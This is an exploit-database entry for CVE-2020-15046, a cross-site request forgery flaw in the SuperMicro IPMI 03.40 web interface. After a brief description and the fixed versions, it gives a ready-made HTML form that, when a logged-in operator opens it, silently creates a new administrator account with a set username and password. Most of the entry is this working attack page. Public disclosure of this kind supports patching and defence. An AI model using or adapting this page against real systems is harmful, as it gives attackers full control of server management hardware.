SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)

EDB-ID:

48652




Platform:

Hardware

Date:

2020-07-08


# Exploit Title: SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.supermicro.com/
# Software Link: https://www.supermicro.com/en/solutions/management-software/bmc-resources
# Version: X10DRH-iT motherboards with BIOS 2.0a and IPMI firmware 03.40
# CVE: CVE-2020-15046
# Source: https://www.totalpentest.com/post/supermicro-ipmi-webgui-cross-site-request-forgery

# Description:
# The web interface on Supermicro X10DRH-iT motherboards with BIOS 2.0a and
# IPMI firmware 03.40
# allows remote attackers to exploit a cgi/config_user.cgi CSRF issue to
add new admin users.
# The fixed versions are BIOS 3.2 and firmware 03.88.

# PoC :

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://SuperMicro-IP/cgi/config_user.cgi" method="POST">
      <input type="hidden" name="username" value="JOKER" />
      <input type="hidden" name="original&#95;username" value="2" />
      <input type="hidden" name="password" value="onebadday" />
      <input type="hidden" name="new&#95;privilege" value="4" />
      <input type="submit" value="submit request" />
    </form>
  </body>
</html>